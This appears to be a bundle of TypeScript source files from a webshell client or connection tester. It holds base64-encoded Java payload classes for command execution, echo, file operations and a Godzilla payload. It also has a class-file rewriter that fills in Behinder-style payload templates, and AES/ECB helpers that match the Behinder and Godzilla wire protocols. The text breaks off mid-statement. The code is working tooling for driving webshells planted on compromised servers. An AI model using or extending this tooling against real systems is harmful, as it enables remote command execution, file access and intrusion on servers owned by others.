\"7gMvAzkDVQDuAzoDVANVAO4AAgAkAAABTgBTAAADPAAIAz0AEAM+ABgDPwAhA0AAKgNBADMDQgA8A0MATQNEAGQDRQBuA0gAdQNJ\" +\n \"AHoDTQCBA04AhgNQAI0DUQCSA1YAmQNXAJ4DWQClA1oAqgNfALEDYAC2A2QAvQNlAMIDaQDFA2sAzwNsAO4DbQD0A2wA+QNuAQYD\" +\n \"bwEqA3ABNwNxAVsDcgFoA3MBjAN0AZkDdQGsA3gBtwN5AboDfAG/A34BwgOAAc0DgQHSA4QB1wOFAeIDhwHrA4gB9gOJAfsDigIG\" +\n \"A4sCDwOMAhgDjQIeA44CKwOPAkMDjgJJA48CTwOOAlQDjQJeA5ICdQOTAngDlAJ+A5UCiwOWAqMDlQKpA5YCrwOVArQDlAK+A5kC\" +\n \"1QOTAt8DmwLmA5wC7QOdAvQDngL6A6EDBQOiAwwDowMTA6QDLwOmAzEDpwM6A6sDVQOtA1cDrgNgA7EAJQAAAOgAFwAAA2cALgAv\" +\n \"AAAACANfBEoAqQABABADVwPPAKkAAgAYA08D0QCpAAMAIQNGA9MAqQAEACoDPQPVAKkABQAzAzQD1wCpAAYAPAMrA9kAqQAHAE0D\" +\n \"GgPKAKkACACGAAwArwFhAAkAngAMAK8BYQAJAMUCkARLAKkACQHCAW0ETARNAAoB6wFEBE4ETwALAfsA/wD2AKkADAIGAPQEUARR\" +\n \"AA0CDwDrBFIEUwAOAhgA4gRUAPwADwIbAEMB4AD8ABACewBDAeAA/AAQAwUAKgRVAPwADAMxAAkArwFhAAoDVwAJAK8BYQAJAAEA\" +\n \"ogA9AAEAIQAAAHEABQACAAAAJSq0AMTGABEqKrQAxBMEVgEBtgEhVxMBZbYAdLBMK7YAYLYAdLAAAQAAABsAHADuAAIAJAAAABYA\" +\n \"BQAAA7cABwO4ABUDugAcA7sAHQO8ACUAAAAWAAIAAAAlAC4ALwAAAB0ACACvAWEAAQABBFgAPQABACEAAAElAAUABQAAAHsqEwIV\" +\n \"tgBATCoTBFm2AqVNKhMEW7YAQE4txwAhuwH2WSsEtwRdOgQZBCy2AqsZBLYB/xkEtgICpwAluwRgWSsTBGK3BGQ6BBkELbgC6YW2\" +\n \"BGcZBCy2BGoZBLYEaxMBZbYAdLA6BBMCeQS9AEdZAxkEtgBgU7gBNbYAdLAAAQAYAGIAYwDuAAIAJAAAAEIAEAAAA8EACAPCABAD\" +\n \"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\" +\n \"BDYFsgAiOgYbNgccG2QGbAZoNggbFQhgNgkVBJ4AFhUIFQQHbAZopAALFQQHbAZoNggDNgqnAKsVBxUIYBUJuASMNgsVBzYMFQo2\" +\n \"DacAdyoVDIQMATMRAP9+EBB4KhUMhAwBMxEA/34QCHiAKhUMhAwBMxEA/36ANg4tFQ2EDQEZBhUOEBJ8ED9+NJFULRUNhA0BGQYV\" +\n \"DhAMfBA/fjSRVC0VDYQNARkGFQ4QBnwQP340kVQtFQ2EDQEZBhUOED9+NJFUFQwVC6H/iBULFQdkBmwHaDYMFQoVDGA2ChULNgcV\" +\n \"BxUJof9UFQccogCVKhUHhAcBMxEA/342Cy0VCoQKARkGFQsFejSRVBUHHKAALy0VCoQKARkGFQsHeBA/fjSRVBUFmQBcLRUKhAoB\" +\n \"ED1ULRUKhAoBED1UpwBHKhUHhAcBMxEA/342DC0VCoQKARkGFQsHeBA/fhUMB3qANJFULRUKhAoBGQYVDAV4ED9+NJFUFQWZAAwt\" +\n \"FQqECgEQPVS7AHVZLbcA2LAAAAACACQAAACiACgAAAUOAAIFDwAFBRAAEAURABMFEgAWBRMAGwUUAB4FFQAnBRYALQUXAD0FGABF\" +\n \"BRkASAUaAEsFGwBXBRwAYgUdAI0FHgCgBR8AswUgAMYFIQDWBRwA3QUjAOgFJADvBSUA8wUaAPoFJwEABSgBDQUpARwFKgEiBSsB\" +\n \"NAUsATkFLQFCBS4BSwUwAU4FMQFbBTIBcgUzAYQFNAGJBTUBkgU5ACUAAAC2ABIAAAGbBUUADwAAAAIBmQVGAPwAAQAFAZYFRwD8\" +\n \"AAIAEAGLBUgADwADABMBiAVJAPwABAAWAYUFSgE/AAUAGwGABUsABgAGAB4BfQVMAPwABwAnAXQFTQD8AAgALQFuBU4A/AAJAEgB\" +\n \"UwVPAPwACgBXAJwFUAD8AAsAWwCCBVEA/AAMAF8AfgVSAPwADQCNAEkFUwD8AA4A6AALBVQA/AAMAQ0AhQVVAPwACwFbADcFVgD8\" +\n \"AAwACQVXAWMAAQAhAAADCAAGAAwAAAGYKrYBzpoABwO8CLAqtgB0TAM9K74+AzYEHRxkNgUrHQRkMxA9oAAThAQBKx0FZDMQPaAA\" +\n \"BoQEARUEmgASFQUGfpkACwcVBQZ+ZDYEBhUFBmAHbGgVBGS8CDoGEQEAvAo6BxkHArgFWAM2CKcAERkHsgAiFQg0FQhPhAgBFQiy\" +\n \"ACK+of/sGQcQPRD+TwM2CAM2CRASNgqnAIorHIQCATMRAP9+NgsZBxULLlk2C5wAMxULEP6gACwVChAGoAATHB2fABUrHIQCATMQ\" +\n \"PaAAChUKEBKgAFO7BVtZEwVdtwVfvxUJFQsVCniANgmECvoVCpwAMRkGFQiECAEVCRAQepFUGQYVCIQIARUJEAh6kVQZBhUIhAgB\" +\n \"FQmRVBASNgoDNgkcHaH/dxUKEAagABQZBhUIhAgBFQkQEHqRVKcAORUKmgAiGQYVCIQIARUJEBB6kVQZBhUIhAgBFQkQCHqRVKcA\" +\n \"FRUKEAygAA67BVtZEwVgtwVfvxUIGQa+nwAeFQi8CDoLGQYDGQsDGQa+FQi4BIy4ApQZCzoGGQawAAAAAgAkAAAAygAyAAAFPQAH\" +\n \"BT4ACwVAABAFQQASBUIAFQVDABgFRAAdBUUAJwVGACoFRwA0BUgANwVLAEMFTABLBU4AWgVPAGEFUABnBVEAbQVSAHgFUQCEBVQA\" +\n \"iwVVAI4FVgCRBVcAlQVYAJgFWQCkBVoArwVbALYFXADUBV0A3wViAOkFYwDsBWQA8QVlAP8FZgENBWcBGAVoARwFaQEfBVgBJAVt\" +\n \"ASsFbgE5BW8BQQVwAU8FcQFdBXIBZwV0AXIFdgF6BXcBgAV4AZEFeQGVBXsAJQAAAI4ADgAAAZgFYgCpAAAAEAGIBUUADwABABIB\" +\n \"hgVMAPwAAgAVAYMFTgD8AAMAGAGABWMA/AAEAB0BewD7APwABQBaAT4FSAAPAAYAYQE3BUsFZAAHAGoAGgHgAPwACACOAQoFTwD8\" +\n \"AAgAkQEHBVMA/AAJAJUBAwVlAPwACgCkAHsAOwD8AAsBgAAVBJQADwALAAEFZgAAAAIFZw==\";\n\nexport const ECHO_CLASS_BYTES = Buffer.from(ECHO_CLASS_B64, 'base64');\nexport const CMD_CLASS_BYTES = Buffer.from(CMD_CLASS_B64, 'base64');\nexport const FILE_OPERATION_CLASS_BYTES = Buffer.from(FILE_OPERATION_CLASS_B64, 'base64');\nexport const GODZILLA_PAYLOAD_BYTES = Buffer.from(GODZILLA_PAYLOAD_B64, 'base64');\n","/**\n * Minimal Java class-file rewriter.\n *\n * Behinder sends \"payload template\" classes whose static String fields are\n * filled client-side before upload (its `Params.getParamedClass` uses ASM to\n * set a `ConstantValue` on the field). We only need that one feature: set a\n * static String field's ConstantValue, leaving everything else byte-identical.\n */\n\nconst CONSTANT_VALUE = \"ConstantValue\";\n\nclass Cursor {\n constructor(readonly buf: Buffer) {}\n u1(off: number): number {\n return this.buf.readUInt8(off);\n }\n u2(off: number): number {\n return this.buf.readUInt16BE(off);\n }\n}\n\ninterface PoolInfo {\n count: number;\n /** offset just past the last pool entry */\n end: number;\n utf8: Map<number, string>;\n constantValueNameIndex: number; // 0 = absent\n}\n\nfunction readPool(cur: Cursor): PoolInfo {\n const buf = cur.buf;\n const count = cur.u2(8);\n const utf8 = new Map<number, string>();\n let constantValueNameIndex = 0;\n let off = 10;\n for (let i = 1; i < count; i++) {\n const tag = cur.u1(off);\n switch (tag) {\n case 1: {\n const len = cur.u2(off + 1);\n const value = decodeModifiedUtf8(buf, off + 3, off + 3 + len);\n utf8.set(i, value);\n if (value === CONSTANT_VALUE) constantValueNameIndex = i;\n off += 3 + len;\n break;\n }\n case 3: // Integer\n case 4: // Float\n case 9: // Fieldref\n case 10: // Methodref\n case 11: // InterfaceMethodref\n case 12: // NameAndType\n case 17: // Dynamic\n case 18: // InvokeDynamic\n off += 5;\n break;\n case 5: // Long — two slots\n case 6: // Double — two slots\n off += 9;\n i++;\n break;\n case 7: // Class\n case 8: // String\n case 16: // MethodType\n case 19: // Module\n case 20: // Package\n off += 3;\n break;\n case 15: // MethodHandle\n off += 4;\n break;\n default:\n throw new Error(`unsupported constant pool tag ${tag} at index ${i}`);\n }\n }\n return { count, end: off, utf8, constantValueNameIndex };\n}\n\n/**\n * Decode a CONSTANT_Utf8 payload (modified UTF-8): 1/2/3-byte forms,\n * surrogate code units reassemble into supplementary characters, C0 80 is\n * U+0000. Anything else decodes to U+FFFD without aborting the walk.\n */\nfunction decodeModifiedUtf8(buf: Buffer, start: number, end: number): string {\n let out = \"\";\n let i = start;\n while (i < end) {\n const b = buf[i]!;\n if (b < 0x80) {\n out += String.fromCharCode(b);\n i += 1;\n } else if ((b & 0xe0) === 0xc0 && i + 1 < end) {\n out += String.fromCharCode(((b & 0x1f) << 6) | (buf[i + 1]! & 0x3f));\n i += 2;\n } else if ((b & 0xf0) === 0xe0 && i + 2 < end) {\n out += String.fromCharCode(\n ((b & 0x0f) << 12) | ((buf[i + 1]! & 0x3f) << 6) | (buf[i + 2]! & 0x3f),\n );\n i += 3;\n } else {\n out += \"�\";\n i += 1;\n }\n }\n return out;\n}\n\nfunction encodeUtf8Entry(value: string): Buffer {\n const data = encodeModifiedUtf8(value);\n const out = Buffer.alloc(3);\n out.writeUInt8(1, 0);\n out.writeUInt16BE(data.length, 1);\n return Buffer.concat([out, data]);\n}\n\n/**\n * The class-file CONSTANT_Utf8 format is *modified* UTF-8, not plain UTF-8:\n * U+0000 is written as C0 80, and characters above the BMP are written as\n * UTF-16 surrogate pairs of 3-byte sequences (plain 4-byte UTF-8 is invalid\n * and makes the JVM reject the class). Iterating UTF-16 code units gives us\n * exactly that encoding.\n */\nfunction encodeModifiedUtf8(value: string): Buffer {\n const bytes: number[] = [];\n for (let i = 0; i < value.length; i++) {\n const code = value.charCodeAt(i);\n if (code >= 0x01 && code <= 0x7f) {\n bytes.push(code);\n } else if (code <= 0x07ff) {\n bytes.push(0xc0 | (code >> 6), 0x80 | (code & 0x3f));\n } else {\n bytes.push(0xe0 | (code >> 12), 0x80 | ((code >> 6) & 0x3f), 0x80 | (code & 0x3f));\n }\n }\n return Buffer.from(bytes);\n}\n\n/**\n * Return a copy of `classBytes` where the static String field `fieldName`\n * carries `ConstantValue = value` (added or replaced).\n */\nexport function injectStringConstant(\n classBytes: Buffer,\n fieldName: string,\n value: string,\n): Buffer {\n const cur = new Cursor(classBytes);\n if (cur.buf.readUInt32BE(0) !== 0xcafebabe) {\n throw new Error(\"not a Java class file\");\n }\n const pool = readPool(cur);\n\n // walk to the fields section\n let off = pool.end;\n off += 6; // access_flags, this_class, super_class\n const interfacesCount = cur.u2(off);\n off += 2 + interfacesCount * 2;\n const fieldsCount = cur.u2(off);\n off += 2;\n\n // new constant pool entries (appended at the end, so all existing\n // references keep working)\n const newEntries: Buffer[] = [];\n let nextIndex = pool.count;\n\n let cvNameIndex = pool.constantValueNameIndex;\n if (cvNameIndex === 0) {\n newEntries.push(encodeUtf8Entry(CONSTANT_VALUE));\n cvNameIndex = nextIndex++;\n }\n newEntries.push(encodeUtf8Entry(value));\n const valueUtf8Index = nextIndex++;\n const stringEntry = Buffer.alloc(3);\n stringEntry.writeUInt8(8, 0); // String tag\n stringEntry.writeUInt16BE(valueUtf8Index, 1);\n newEntries.push(stringEntry);\n const valueStringIndex = nextIndex++;\n\n for (let f = 0; f < fieldsCount; f++) {\n const fieldStart = off;\n const nameIndex = cur.u2(off + 2);\n const descIndex = cur.u2(off + 4);\n const attrCountOff = off + 6;\n const attrCount = cur.u2(attrCountOff);\n off += 8;\n const name = pool.utf8.get(nameIndex);\n const desc = pool.utf8.get(descIndex);\n const isTarget = name === fieldName && desc === \"Ljava/lang/String;\";\n\n for (let a = 0; a < attrCount; a++) {\n const attrNameIndex = cur.u2(off);\n const attrLen = cur.buf.readUInt32BE(off + 2);\n if (\n isTarget &&\n pool.constantValueNameIndex !== 0 &&\n attrNameIndex === pool.constantValueNameIndex\n ) {\n // replace existing ConstantValue in place: [fieldStart..off+6) + new idx + rest\n const patched = Buffer.from(classBytes.subarray(off, off + 6 + attrLen));\n patched.writeUInt16BE(valueStringIndex, 6);\n return Buffer.concat([\n headWithNewPool(classBytes, pool, newEntries),\n classBytes.subarray(pool.end, off),\n patched,\n classBytes.subarray(off + 6 + attrLen),\n ]);\n }\n off += 6 + attrLen;\n }\n\n if (isTarget) {\n // append a new ConstantValue attribute to this field\n const newAttr = Buffer.alloc(8);\n newAttr.writeUInt16BE(cvNameIndex, 0);\n newAttr.writeUInt32BE(2, 2);\n newAttr.writeUInt16BE(valueStringIndex, 6);\n const fieldBytes = Buffer.from(classBytes.subarray(fieldStart, off));\n fieldBytes.writeUInt16BE(attrCount + 1, 6);\n return Buffer.concat([\n headWithNewPool(classBytes, pool, newEntries),\n classBytes.subarray(pool.end, fieldStart),\n fieldBytes,\n newAttr,\n classBytes.subarray(off),\n ]);\n }\n }\n throw new Error(`field ${fieldName} (Ljava/lang/String;) not found in class`);\n}\n\n/**\n * Read back a static String field's ConstantValue, or null when absent.\n * Mirrors the injection above; useful for verification and test harnesses.\n */\nexport function readStringConstant(classBytes: Buffer, fieldName: string): string | null {\n const cur = new Cursor(classBytes);\n if (cur.buf.readUInt32BE(0) !== 0xcafebabe) {\n throw new Error(\"not a Java class file\");\n }\n const pool = readPool(cur);\n const strings = new Map<number, number>();\n {\n let off = 10;\n for (let i = 1; i < pool.count; i++) {\n const tag = cur.u1(off);\n if (tag === 8) strings.set(i, cur.u2(off + 1));\n if (tag === 1) off += 3 + cur.u2(off + 1);\n else if ([3, 4, 9, 10, 11, 12, 17, 18].includes(tag)) off += 5;\n else if (tag === 5 || tag === 6) {\n off += 9;\n i++;\n } else if ([7, 8, 16, 19, 20].includes(tag)) off += 3;\n else if (tag === 15) off += 4;\n else throw new Error(`unsupported constant pool tag ${tag} at index ${i}`);\n }\n }\n\n let off = pool.end + 6;\n const interfacesCount = cur.u2(off);\n off += 2 + interfacesCount * 2;\n const fieldsCount = cur.u2(off);\n off += 2;\n for (let f = 0; f < fieldsCount; f++) {\n const name = pool.utf8.get(cur.u2(off + 2));\n const attrCount = cur.u2(off + 6);\n off += 8;\n for (let a = 0; a < attrCount; a++) {\n const attrNameIndex = cur.u2(off);\n const attrLen = cur.buf.readUInt32BE(off + 2);\n if (\n name === fieldName &&\n pool.constantValueNameIndex !== 0 &&\n attrNameIndex === pool.constantValueNameIndex\n ) {\n const utf8Index = strings.get(cur.u2(off + 6));\n return utf8Index === undefined ? null : (pool.utf8.get(utf8Index) ?? null);\n }\n off += 6 + attrLen;\n }\n }\n return null;\n}\n\n/** file head (through the pool) with patched pool count + appended entries */\nfunction headWithNewPool(classBytes: Buffer, pool: PoolInfo, newEntries: Buffer[]): Buffer {\n const head = Buffer.from(classBytes.subarray(0, pool.end));\n head.writeUInt16BE(pool.count + newEntries.length, 8);\n return Buffer.concat([head, ...newEntries]);\n}\n","/**\n * Crypto helpers shared by the webshell connection testers.\n *\n * All three tools (Behinder / Godzilla) use AES/ECB/PKCS5Padding with a\n * 16-byte key derived from an MD5 hex string — exactly what Java's\n * `Cipher.getInstance(\"AES\")` does. Node's `aes-128-ecb` with automatic\n * padding is wire-compatible with that.\n */\nimport { createCipheriv, createDecipheriv, createHash, randomBytes } from \"node:crypto\";\nimport { gunzipSync, gzipSync } from \"node:zlib\";\n\n/** Lowercase 32-char hex MD5, same as Java `functions.byteArrayToHex(md5(...))`. */\nexport function md5Hex(data: string | Buffer): string {\n return createHash(\"md5\").update(data).digest(\"hex\");\n}\n\n/** md5 hex truncated to 16 chars — the AES key derivation used by both tools. */\nexport function md5Key16(data: string): string {\n return md5Hex(data).slice(0, 16);\n}\n\n/** AES/ECB/PKCS5Padding encrypt. `key` is used as raw UTF-8 bytes (16 chars). */\nexport function aesEcbEncrypt(data: Buffer, key: string): Buffer {\n const cipher = createCipheriv(\"aes-128-ecb\", Buffer.from(key, \"utf8\"), null);\n return Buffer.concat([cipher.update(data), cipher.final()]);\n}\n\n/** AES/ECB/PKCS5Padding decrypt. Throws on bad padding (wrong key / garbage). */\nexport function aesEcbDecrypt(data: Buffer, key: string): Buffer {\n const decipher = createDecipheriv(\"aes-128-ecb\", Buffer.from(key, \"utf8\"), null);\n return Buffer.concat([decipher.update(data), decipher.final()]);\n}\n\nexport function gzip(data: Buffer): Buffer {\n return gzipSync(data);\n}\n\n/**\n * Godzilla's `functions.gzipD` behaviour: on gunzip failure it falls back to\n * the raw bytes when the input is small (< 200 bytes), otherwise it throws.\n */\nexport function gunzipLenient(data: Buffer): Buffer {\n if (data.length === 0) return data;\n try {\n return gunzipSync(data);\n } catch (err) {\n if (data.length < 200) return data;\n throw err;\n }\n}\n\n/** Base64url without padding (Java `Base64.getUrlEncoder().withoutPadding()`). */\nexport function base64UrlEncode(data: Buffer): string {\n return data\n .toString(\"base64\")\n .replaceAll(\"+\", \"-\")\n .replaceAll(\"/\", \"_\")\n .replace(/=+$/, \"\");\n}\n\nexport function base64UrlDecode(text: string): Buffer {\n let s = text.replaceAll(\"-\", \"+\").replaceAll(\"_\", \"/\");\n while (s.length % 4 !== 0) s += \"=\";\n return Buffer.from(s, \"base64\");\n}\n\nconst 